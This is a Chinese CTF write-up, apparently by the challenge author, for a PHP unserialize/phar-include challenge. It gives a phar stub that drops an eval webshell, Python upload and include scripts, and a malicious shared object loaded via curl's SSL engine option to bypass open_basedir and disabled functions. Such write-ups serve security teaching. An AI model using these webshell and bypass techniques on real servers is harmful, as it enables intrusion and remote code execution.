当前位置: 首页 > news >正文

法尔plus wp

考点是phar rce + 最新版绕过open_basedir的方法

<?php
highlight_file(__FILE__);function waf($data){if (is_array($data)){die("nonono arrays");}if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {die("You can't do");}
}class ddd{public $pivot;public function __set($k, $value) {$k = $this->pivot->ctor;echo new $k($value);}
}class ccc{public $handle;public $ctor;public function __destruct() {return $this->handle();}public function __call($name, $arg){$arg[1] = $this->handle->$name;}
}class bbb{public $target;public $payload;public function __get($prop){$this->target->$prop = $this->payload;}
}class aaa {public $mode;public function __destruct(){$data = $_POST[0];if ($this->mode == 'w') {waf($data);echo $data;$filename = "/var/www/html/".md5(rand()).".phar";file_put_contents($filename, $data);echo $filename;} else if ($this->mode == 'r') {waf($data);$f = include($data);if($f){echo "yesyesyes";}else{echo "You can look at the others";}}}
}if(strlen($_POST[1]) < 52) {$a = unserialize($_POST[1]);
}
else{echo "too long!!";
}?>

include邂逅phar
看这篇文章讲了底层逻辑
当include邂逅phar——DeadsecCTF2025 baby-web – fushulingのblog
最后的结论就是,比如我们生成了一个phar文件,然后把他打包成gz文件,当我们include这个gz文件时,php会默认把这个gz文件解压回phar进行解析
那么我们只要包含关键字就能直接rce
可是这里我把open_basedir还有一些system的指令全都ban掉了基本上是不可能命令执行成功的考点就算最新版本的绕过方法 之前有些我们这里写个马进去

<?php class TEST{ } $a=new TEST(); @unlink("shell.phar"); $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->setMetadata($a); $stub="<?php \$content = '<?php @eval(\$_POST[\"cmd\"]); ?>'; file_put_contents('/var/www/html/4.php', \$content);__HALT_COMPILER(); ?>"; $phar -> setStub($stub); $phar->addFromString("1.txt", "6666"); $phar->stopBuffering(); ?>

然后gz压缩

gzip -c shell.phar > shell.phar.gz

接下来就算传文件上去这里用python

import requests
url='http://172.18.131.0:8888/1.php'
with open('shell.phar2.gz','rb') as file:f=file.read()
data={"0":f,"1":"O:3:\"aaa\":1:{s:4:\"mode\";s:1:\"w\";}"}
response=requests.post(url=url,data=data)
print(response.text)

再去做包含

import requests
url='http://172.18.131.0:8888/1.php'
bbb='/var/www/html/a388df223ff2ac5e539a896f5dc0be79.phar'
data={"0":bbb,"1":"O:3:\"aaa\":1:{s:4:\"mode\";s:1:\"r\";}"}
response=requests.post(url=url,data=data)
print(response.text)

成功写入木马
怕他家觉得自己的马传上去没用,我还贴心的给了phpinfo
发现禁用sqlite3那么就用curl
所以我们需要编写一个恶意的 so 文件:

#include <stdlib.h>__attribute__((constructor))
static void rce_init(void){system("env >/tmp/pro");
}

编译成 so :

g++ -fPIC -shared -o evil.so 1.cpp

然后通过加载 so 来rce:

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE,"/tmp/evil.so");
$data = curl_exec($ch);

图片
最后一点感想,很荣幸刚加入V&N就能参与这一次出题,收获了很多,题目不是很难,师傅们应该也打得很尽心,希望能和V&N一起进步

http://www.rkmt.cn/news/78744.html

相关文章:

  • 2025郑州拿证快/可换教练驾校排名:附近靠谱驾校推荐与全解
  • 2025年市面上优秀的微动开关公司口碑推荐榜,新能源微动开关/大电流微动开关/防水微动开关/微动开关/汽车微动开关定做厂家哪家权威
  • 涿鹿县自建房找谁好?河北张家口涿鹿县自建房公司 / 机构深度评测口碑推荐榜​
  • 2025 年 12 月高空特种作业服务商权威推荐榜:幕墙吊装/拆卸,塔吊高空拆卸/解体/事故救援,安全高效解决方案深度解析
  • 2025年12月助听器标杆品牌最新推荐:爱可声助听器,国产助听器、专业助听器、助听器品牌、老年人助听器、助听器验配、隐形助听器、为清晰聆听设立个性化新标准
  • 2025年12月广东紧固件厂家推荐:核心厂商对比评测与选型建议
  • 2025年12月螺丝厂家推荐:制造业供应链优选品牌综合评测榜单
  • 2025年无压痕折弯机模具优选厂家排名
  • 2025年目前可靠的微动开关制造厂口碑推荐,电动推杆微动开关/新能源微动开关/家电微动开关/小型微动开关/汽车微动开关制造厂家有哪些
  • 2025年12月广东紧固件厂家推荐:行业口碑评价榜与选择策略
  • 2025上海留学中介机构汇总
  • PMP培训十大最佳机构挑选指南白皮书
  • Linux文本搜索命令:grep
  • 2025上海留学中介哪家比较好一点
  • 2025上海留学中介最好的是哪家官网的
  • 12 月年度收官!2025GEO 公司综合实力 TOP 榜单新鲜出炉
  • 2025年度广东污水处理集装箱生产企业推荐:稳定性与专业度双
  • 2025AI搜索日化获客AI搜索稳定获客AI搜索社交获客TO
  • 2025年中国竹制品制造厂排名:竹制品厂家哪家好?
  • 2025年靠谱适老化座椅电梯公司推荐:专为老人设计上下楼座椅
  • 2025年实力强的隐形车衣公司推荐,服务不错的隐形车衣专业公
  • 家用、材料实验室、纺织行业温度传感器TOP5权威推荐:温度传
  • IP与子网掩码的关系
  • 2025年知名的PVC快速门/快速门厂家推荐及选择指南
  • 2025年评价高的工业超声波清洗设备/通过式超声波清洗设备厂家最新权威推荐排行榜
  • 2025年评价高的变频空气能厂家最新用户好评榜
  • 55(12.9)
  • 2025年热门的铜件超声波清洗机/高压喷淋超声波清洗机优质厂家推荐榜单
  • 2025年质量好的直立棉过滤棉/抗菌直立棉厂家最新推荐排行榜
  • DeepAnaX战略升级:首创以DeepSeek数据统计分析系统为蓝本的全生态AI营销中枢